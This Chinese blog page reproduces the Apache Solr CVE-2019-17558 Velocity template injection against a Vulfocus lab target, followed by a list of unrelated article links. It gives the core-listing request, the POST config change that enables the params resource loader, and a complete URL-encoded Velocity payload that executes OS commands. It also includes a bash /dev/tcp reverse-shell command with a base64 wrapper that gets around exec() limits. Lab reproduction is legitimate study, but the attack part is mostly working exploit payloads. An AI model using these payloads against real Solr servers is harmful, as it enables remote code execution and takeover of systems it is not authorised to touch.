当前位置: 首页 > news >正文

【漏洞复现-solr-命令执行】vulfocus/solr-cve_2019_17558

目录

一、靶场环境

1.1、平台:

1.2、知识:

1.3、描述:

二、漏洞验证

2.1、分析:


一、靶场环境

1.1、平台:

Vulfocus 漏洞威胁分析平台

123.58.224.8:28378

 

 

 

1.2、知识:

1、API接口信息,配置文件

1.3、描述:

Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。

攻击者可借助自定义的Velocity模板功能,利用Velocity-SSTI漏洞在Solr系统上执行任意代码。



二、漏洞验证

2.1、分析:

第一步:

访问特定url启用配置params.resource.loader.enabled,其中API路径包含core名称

访问

/solr/admin/cores?indexInfo=false&wt=json

 


第二步:

启用配置 params.resource.loader.enabled 为true

在url访问/solr/demo/config,bp抓包 改成POST然后修改启动配置

修改一:

改为POST请求

修改二:

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}


第三步:

注入Velocity模板即可执行任意命令

POC:

/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%20/tmp%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

URL中插入命令

 


扩展:

使用bash来反弹shell【但Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法】

需要进行一次base64编码绕过

bash -i >& /dev/tcp/ip/port  0>&1

%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8+ip/port的base64编码+IDA%2BJjE%3D

组合

bash%20-c%20{echo%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8+ip/port的base64编码+IDA%2BJjE%3D}|{base64%2C-d}|{bash%2C-i}

相关文章:

  • 使用 Neo4j 图数据库可视化(网络安全)知识图谱
  • STM32新建工程
  • MABSA(Multimodal Aspect-Based Sentiment Analysis)2022ACL 预训练
  • MySQL中in(‘1,2,3‘)只取第一个id为1对应的数据
  • 专注于自媒体短视频领域四年后的运营问题汇总-第一集
  • 网络安全系列-三十四: 基于网络流量的设备识别
  • 第3章 栈和队列 编程题
  • Redis面试
  • python正则表达式(三)
  • 雷达信号处理算法:静态杂波滤除(附MATLAB代码和数据)
  • Doing It in User Space
  • Vue2:网易云播放音乐并实现同步一次显示一行歌词
  • 这四个问题处理好,无人机集群编队研究会有新突破
  • 【JavaSE】之JVM入门(上)
  • 《计算机视觉基础知识蓝皮书》第7篇 模型优化方法及思路
  • E-HPC支持多队列管理和自动伸缩
  • js正则,这点儿就够用了
  • laravel 用artisan创建自己的模板
  • miniui datagrid 的客户端分页解决方案 - CS结合
  • node-glob通配符
  • passportjs 源码分析
  • 案例分享〡三拾众筹持续交付开发流程支撑创新业务
  • 初探 Vue 生命周期和钩子函数
  • 第13期 DApp 榜单 :来,吃我这波安利
  • 精彩代码 vue.js
  • 移动端唤起键盘时取消position:fixed定位
  • LIGO、Virgo第三轮探测告捷,同时探测到一对黑洞合并产生的引力波事件 ...
  • 好程序员web前端教程分享CSS不同元素margin的计算 ...
  • 如何通过报表单元格右键控制报表跳转到不同链接地址 ...
  • ​​​​​​​​​​​​​​汽车网络信息安全分析方法论
  • ​ubuntu下安装kvm虚拟机
  • #前后端分离# 头条发布系统
  • #我与Java虚拟机的故事#连载02:“小蓝”陪伴的日日夜夜
  • #我与Java虚拟机的故事#连载18:JAVA成长之路
  • (C#)获取字符编码的类
  • (iPhone/iPad开发)在UIWebView中自定义菜单栏
  • (二十五)admin-boot项目之集成消息队列Rabbitmq
  • (翻译)Quartz官方教程——第一课:Quartz入门
  • (附源码)springboot教学评价 毕业设计 641310
  • (十三)Flask之特殊装饰器详解
  • (转)ORM
  • (转)使用VMware vSphere标准交换机设置网络连接
  • (转载)虚函数剖析
  • .babyk勒索病毒解析:恶意更新如何威胁您的数据安全
  • .htaccess配置常用技巧
  • .NET : 在VS2008中计算代码度量值
  • .NET 回调、接口回调、 委托
  • .NET:自动将请求参数绑定到ASPX、ASHX和MVC(菜鸟必看)
  • .net项目IIS、VS 附加进程调试
  • [acm算法学习] 后缀数组SA
  • [Angular] 笔记 21:@ViewChild
  • [C++]Leetcode17电话号码的字母组合
  • [CareerCup][Google Interview] 实现一个具有get_min的Queue
  • [c语言]小课堂 day2
  • [EULAR文摘] 脊柱放射学持续进展是否显著影响关节功能